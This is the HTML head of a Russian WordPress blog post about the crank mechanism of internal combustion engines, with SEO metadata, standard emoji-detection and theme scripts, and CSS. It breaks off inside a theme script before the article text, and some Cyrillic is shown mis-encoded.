CINXE.COM

袣褉懈胁芯褕懈锌薪芯-褕邪褌褍薪薪褘泄 屑械褏邪薪懈蟹屑 写胁懈谐邪褌械谢褟 胁薪褍褌褉械薪薪械谐芯 褋谐芯褉邪薪懈褟 - Science Debate

<!doctype html > <html lang="ru-RU" prefix="og: https://ogp.me/ns#"> <head> <meta charset="UTF-8" /> <title>袣褉懈胁芯褕懈锌薪芯-褕邪褌褍薪薪褘泄 屑械褏邪薪懈蟹屑 写胁懈谐邪褌械谢褟 胁薪褍褌褉械薪薪械谐芯 褋谐芯褉邪薪懈褟 - Science Debate</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="pingback" href="https://www.sciencedebate2008.com/xmlrpc.php" /> <!-- SEO 芯褌 Rank Math - https://rankmath.com/ --> <meta name="description" content="袣褉懈胁芯褕懈锌薪芯-褕邪褌褍薪薪褘泄 屑械褏邪薪懈蟹屑 写胁懈谐邪褌械谢褟 胁薪褍褌褉械薪薪械谐芯 褋谐芯褉邪薪懈褟 褋谢褍卸懈褌 写谢褟 锌褉械芯斜褉邪蟹芯胁邪薪懈褟 锌褉褟屑芯谢懈薪械泄薪芯谐芯 写胁懈卸械薪懈褟 锌芯褉褕薪褟 胁芯 胁褉邪褖邪褌械谢褜薪芯械 写胁懈卸械薪懈械 泻芯谢械薪褔邪褌芯谐芯"/> <meta name="robots" content="index, follow, max-snippet:-1, max-video-preview:-1, max-image-preview:large"/> <link rel="canonical" href="https://www.sciencedebate2008.com/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya/" /> <meta property="og:locale" content="ru_RU" /> <meta property="og:type" content="article" /> <meta property="og:title" content="袣褉懈胁芯褕懈锌薪芯-褕邪褌褍薪薪褘泄 屑械褏邪薪懈蟹屑 写胁懈谐邪褌械谢褟 胁薪褍褌褉械薪薪械谐芯 褋谐芯褉邪薪懈褟 - Science Debate" /> <meta property="og:description" content="袣褉懈胁芯褕懈锌薪芯-褕邪褌褍薪薪褘泄 屑械褏邪薪懈蟹屑 写胁懈谐邪褌械谢褟 胁薪褍褌褉械薪薪械谐芯 褋谐芯褉邪薪懈褟 褋谢褍卸懈褌 写谢褟 锌褉械芯斜褉邪蟹芯胁邪薪懈褟 锌褉褟屑芯谢懈薪械泄薪芯谐芯 写胁懈卸械薪懈褟 锌芯褉褕薪褟 胁芯 胁褉邪褖邪褌械谢褜薪芯械 写胁懈卸械薪懈械 泻芯谢械薪褔邪褌芯谐芯" /> <meta property="og:url" content="https://www.sciencedebate2008.com/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya/" /> <meta property="article:section" content="袗胁褌芯屑芯斜懈谢懈" /> <meta property="og:updated_time" content="2024-08-26T16:14:05+00:00" /> <meta property="og:image" content="https://www.sciencedebate2008.com/wp-content/uploads/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya.jpg" /> <meta property="og:image:secure_url" content="https://www.sciencedebate2008.com/wp-content/uploads/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya.jpg" /> <meta property="og:image:width" content="745" /> <meta property="og:image:height" content="561" /> <meta property="og:image:alt" content="袣褉懈胁芯褕懈锌薪芯-褕邪褌褍薪薪褘泄 屑械褏邪薪懈蟹屑 写胁懈谐邪褌械谢褟 胁薪褍褌褉械薪薪械谐芯 褋谐芯褉邪薪懈褟" /> <meta property="og:image:type" content="image/jpeg" /> <meta property="article:published_time" content="2024-08-26T11:43:28+00:00" /> <meta property="article:modified_time" content="2024-08-26T16:14:05+00:00" /> <meta name="twitter:card" content="summary_large_image" /> <meta name="twitter:title" content="袣褉懈胁芯褕懈锌薪芯-褕邪褌褍薪薪褘泄 屑械褏邪薪懈蟹屑 写胁懈谐邪褌械谢褟 胁薪褍褌褉械薪薪械谐芯 褋谐芯褉邪薪懈褟 - Science Debate" /> <meta name="twitter:description" content="袣褉懈胁芯褕懈锌薪芯-褕邪褌褍薪薪褘泄 屑械褏邪薪懈蟹屑 写胁懈谐邪褌械谢褟 胁薪褍褌褉械薪薪械谐芯 褋谐芯褉邪薪懈褟 褋谢褍卸懈褌 写谢褟 锌褉械芯斜褉邪蟹芯胁邪薪懈褟 锌褉褟屑芯谢懈薪械泄薪芯谐芯 写胁懈卸械薪懈褟 锌芯褉褕薪褟 胁芯 胁褉邪褖邪褌械谢褜薪芯械 写胁懈卸械薪懈械 泻芯谢械薪褔邪褌芯谐芯" /> <meta name="twitter:image" content="https://www.sciencedebate2008.com/wp-content/uploads/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya.jpg" /> <meta name="twitter:label1" content="袗胁褌芯褉" /> <meta name="twitter:data1" content="袗褋锌懈褉邪薪褌" /> <meta name="twitter:label2" content="袙褉械屑褟 褔褌械薪懈褟" /> <meta name="twitter:data2" content="袦械薪褜褕械 屑懈薪褍褌褘" /> <script type="application/ld+json" class="rank-math-schema">{"@context":"https://schema.org","@graph":[{"@type":"Organization","@id":"https://www.sciencedebate2008.com/#organization","name":"Science Debate","url":"https://www.sciencedebate2008.com"},{"@type":"WebSite","@id":"https://www.sciencedebate2008.com/#website","url":"https://www.sciencedebate2008.com","publisher":{"@id":"https://www.sciencedebate2008.com/#organization"},"inLanguage":"ru-RU"},{"@type":"ImageObject","@id":"https://www.sciencedebate2008.com/wp-content/uploads/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya.jpg","url":"https://www.sciencedebate2008.com/wp-content/uploads/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya.jpg","width":"745","height":"561","caption":"\u041a\u0440\u0438\u0432\u043e\u0448\u0438\u043f\u043d\u043e-\u0448\u0430\u0442\u0443\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0441\u0433\u043e\u0440\u0430\u043d\u0438\u044f","inLanguage":"ru-RU"},{"@type":"WebPage","@id":"https://www.sciencedebate2008.com/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya/#webpage","url":"https://www.sciencedebate2008.com/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya/","name":"\u041a\u0440\u0438\u0432\u043e\u0448\u0438\u043f\u043d\u043e-\u0448\u0430\u0442\u0443\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0441\u0433\u043e\u0440\u0430\u043d\u0438\u044f - Science Debate","datePublished":"2024-08-26T11:43:28+00:00","dateModified":"2024-08-26T16:14:05+00:00","isPartOf":{"@id":"https://www.sciencedebate2008.com/#website"},"primaryImageOfPage":{"@id":"https://www.sciencedebate2008.com/wp-content/uploads/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya.jpg"},"inLanguage":"ru-RU"},{"@type":"Person","@id":"https://www.sciencedebate2008.com/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya/#author","name":"\u0410\u0441\u043f\u0438\u0440\u0430\u043d\u0442","image":{"@type":"ImageObject","@id":"https://secure.gravatar.com/avatar/f1c08b1e3fdca9bd52fa5b4e22b403e5?s=96&amp;d=mm&amp;r=g","url":"https://secure.gravatar.com/avatar/f1c08b1e3fdca9bd52fa5b4e22b403e5?s=96&amp;d=mm&amp;r=g","caption":"\u0410\u0441\u043f\u0438\u0440\u0430\u043d\u0442","inLanguage":"ru-RU"},"worksFor":{"@id":"https://www.sciencedebate2008.com/#organization"}},{"@type":"BlogPosting","headline":"\u041a\u0440\u0438\u0432\u043e\u0448\u0438\u043f\u043d\u043e-\u0448\u0430\u0442\u0443\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0441\u0433\u043e\u0440\u0430\u043d\u0438\u044f - Science Debate","datePublished":"2024-08-26T11:43:28+00:00","dateModified":"2024-08-26T16:14:05+00:00","author":{"@id":"https://www.sciencedebate2008.com/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya/#author","name":"\u0410\u0441\u043f\u0438\u0440\u0430\u043d\u0442"},"publisher":{"@id":"https://www.sciencedebate2008.com/#organization"},"description":"\u041a\u0440\u0438\u0432\u043e\u0448\u0438\u043f\u043d\u043e-\u0448\u0430\u0442\u0443\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0441\u0433\u043e\u0440\u0430\u043d\u0438\u044f \u0441\u043b\u0443\u0436\u0438\u0442 \u0434\u043b\u044f \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u044f\u043c\u043e\u043b\u0438\u043d\u0435\u0439\u043d\u043e\u0433\u043e \u0434\u0432\u0438\u0436\u0435\u043d\u0438\u044f \u043f\u043e\u0440\u0448\u043d\u044f \u0432\u043e \u0432\u0440\u0430\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0434\u0432\u0438\u0436\u0435\u043d\u0438\u0435 \u043a\u043e\u043b\u0435\u043d\u0447\u0430\u0442\u043e\u0433\u043e","name":"\u041a\u0440\u0438\u0432\u043e\u0448\u0438\u043f\u043d\u043e-\u0448\u0430\u0442\u0443\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0441\u0433\u043e\u0440\u0430\u043d\u0438\u044f - Science Debate","@id":"https://www.sciencedebate2008.com/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya/#richSnippet","isPartOf":{"@id":"https://www.sciencedebate2008.com/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya/#webpage"},"image":{"@id":"https://www.sciencedebate2008.com/wp-content/uploads/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya.jpg"},"inLanguage":"ru-RU","mainEntityOfPage":{"@id":"https://www.sciencedebate2008.com/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya/#webpage"}}]}</script> <!-- /Rank Math WordPress SEO 锌谢邪谐懈薪 --> <link rel='dns-prefetch' href='//fonts.googleapis.com' /> <link rel="alternate" type="application/rss+xml" title="Science Debate &raquo; 袥械薪褌邪" href="https://www.sciencedebate2008.com/feed/" /> <link rel="alternate" type="application/rss+xml" title="Science Debate &raquo; 袥械薪褌邪 泻芯屑屑械薪褌邪褉懈械胁" href="https://www.sciencedebate2008.com/comments/feed/" /> <link rel="alternate" type="application/rss+xml" title="Science Debate &raquo; 袥械薪褌邪 泻芯屑屑械薪褌邪褉懈械胁 泻 &laquo;袣褉懈胁芯褕懈锌薪芯-褕邪褌褍薪薪褘泄 屑械褏邪薪懈蟹屑 写胁懈谐邪褌械谢褟 胁薪褍褌褉械薪薪械谐芯 褋谐芯褉邪薪懈褟&raquo;" href="https://www.sciencedebate2008.com/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya/feed/" /> <script type="text/javascript"> /* <![CDATA[ */ window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/www.sciencedebate2008.com\/wp-includes\/js\/wp-emoji-release.min.js"}}; /*! This file is auto-generated */ !function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!n(e,"\ud83e\udef1\ud83c\udffb\u200d\ud83e\udef2\ud83c\udfff","\ud83e\udef1\ud83c\udffb\u200b\ud83e\udef2\ud83c\udfff")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything||(n.readyCallback(),(e=n.source||{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings); /* ]]> */ </script> <style id='wp-emoji-styles-inline-css' type='text/css'> img.wp-smiley, img.emoji { display: inline !important; border: none !important; box-shadow: none !important; height: 1em !important; width: 1em !important; margin: 0 0.07em !important; vertical-align: -0.1em !important; background: none !important; padding: 0 !important; } </style> <style id='classic-theme-styles-inline-css' type='text/css'> /*! This file is auto-generated */ .wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none} </style> <style id='global-styles-inline-css' type='text/css'> body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 11px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 32px;--wp--preset--font-size--x-large: 42px;--wp--preset--font-size--regular: 15px;--wp--preset--font-size--larger: 50px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flow > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-flow > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-flow > .aligncenter{margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > :where(:not(.alignleft):not(.alignright):not(.alignfull)){max-width: var(--wp--style--global--content-size);margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignwide{max-width: var(--wp--style--global--wide-size);}body .is-layout-flex{display: flex;}body .is-layout-flex{flex-wrap: wrap;align-items: center;}body .is-layout-flex > *{margin: 0;}body .is-layout-grid{display: grid;}body .is-layout-grid > *{margin: 0;}:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;} .wp-block-navigation a:where(:not(.wp-element-button)){color: inherit;} :where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;} :where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;} .wp-block-pullquote{font-size: 1.5em;line-height: 1.6;} </style> <link rel='stylesheet' id='contact-form-7-css' href='https://www.sciencedebate2008.com/wp-content/plugins/contact-form-7/includes/css/styles.css' type='text/css' media='all' /> <link rel='stylesheet' id='wp-postratings-css' href='https://www.sciencedebate2008.com/wp-content/plugins/wp-postratings/css/postratings-css.css' type='text/css' media='all' /> <link rel='stylesheet' id='td-plugin-multi-purpose-css' href='https://www.sciencedebate2008.com/wp-content/plugins/td-composer/td-multi-purpose/style.css' type='text/css' media='all' /> <link rel='stylesheet' id='google-fonts-style-css' href='https://fonts.googleapis.com/css?family=Open+Sans%3A400%2C600%2C700%2C300%7CRoboto%3A400%2C500%2C700%2C300&#038;display=swap' type='text/css' media='all' /> <link rel='stylesheet' id='td-theme-css' href='https://www.sciencedebate2008.com/wp-content/themes/Newspaper/style.css' type='text/css' media='all' /> <style id='td-theme-inline-css' type='text/css'>@media (max-width:767px){.td-header-desktop-wrap{display:none}}@media (min-width:767px){.td-header-mobile-wrap{display:none}}</style> <link rel='stylesheet' id='td-legacy-framework-front-style-css' href='https://www.sciencedebate2008.com/wp-content/plugins/td-composer/legacy/Newspaper/assets/css/td_legacy_main.css' type='text/css' media='all' /> <link rel='stylesheet' id='tdb_style_cloud_templates_front-css' href='https://www.sciencedebate2008.com/wp-content/plugins/td-cloud-library/assets/css/tdb_main.css' type='text/css' media='all' /> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-content/plugins/svg-support/vendor/DOMPurify/DOMPurify.min.js" id="bodhi-dompurify-library-js"></script> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-includes/js/jquery/jquery.min.js" id="jquery-core-js"></script> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-includes/js/jquery/jquery-migrate.min.js" id="jquery-migrate-js"></script> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-content/plugins/svg-support/js/min/svgs-inline-min.js" id="bodhi_svg_inline-js"></script> <script type="text/javascript" id="bodhi_svg_inline-js-after"> /* <![CDATA[ */ cssTarget="img.style-svg";ForceInlineSVGActive="false";frontSanitizationEnabled="on"; /* ]]> */ </script> <link rel="https://api.w.org/" href="https://www.sciencedebate2008.com/wp-json/" /><link rel="alternate" type="application/json" href="https://www.sciencedebate2008.com/wp-json/wp/v2/posts/16606" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://www.sciencedebate2008.com/xmlrpc.php?rsd" /> <link rel='shortlink' href='https://www.sciencedebate2008.com/?p=16606' /> <link rel="alternate" type="application/json+oembed" href="https://www.sciencedebate2008.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.sciencedebate2008.com%2Fkrivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya%2F" /> <link rel="alternate" type="text/xml+oembed" href="https://www.sciencedebate2008.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.sciencedebate2008.com%2Fkrivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya%2F&#038;format=xml" /> <!--[if lt IE 9]><script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"></script><![endif]--> <script> window.tdb_global_vars = {"wpRestUrl":"https:\/\/www.sciencedebate2008.com\/wp-json\/","permalinkStructure":"\/%postname%\/"}; window.tdb_p_autoload_vars = {"isAjax":false,"isAdminBarShowing":false,"autoloadScrollPercent":20,"postAutoloadStatus":"off","origPostEditUrl":null}; </script> <style id="tdb-global-colors">:root{--accent-color:#fff}</style> <!-- JS generated by theme --> <script> var tdBlocksArray = []; //here we store all the items for the current page // td_block class - each ajax block uses a object of this class for requests function tdBlock() { this.id = ''; this.block_type = 1; //block type id (1-234 etc) this.atts = ''; this.td_column_number = ''; this.td_current_page = 1; // this.post_count = 0; //from wp this.found_posts = 0; //from wp this.max_num_pages = 0; //from wp this.td_filter_value = ''; //current live filter value this.is_ajax_running = false; this.td_user_action = ''; // load more or infinite loader (used by the animation) this.header_color = ''; this.ajax_pagination_infinite_stop = ''; //show load more at page x } // td_js_generator - mini detector ( function () { var htmlTag = document.getElementsByTagName("html")[0]; if ( navigator.userAgent.indexOf("MSIE 10.0") > -1 ) { htmlTag.className += ' ie10'; } if ( !!navigator.userAgent.match(/Trident.*rv\:11\./) ) { htmlTag.className += ' ie11'; } if ( navigator.userAgent.indexOf("Edge") > -1 ) { htmlTag.className += ' ieEdge'; } if ( 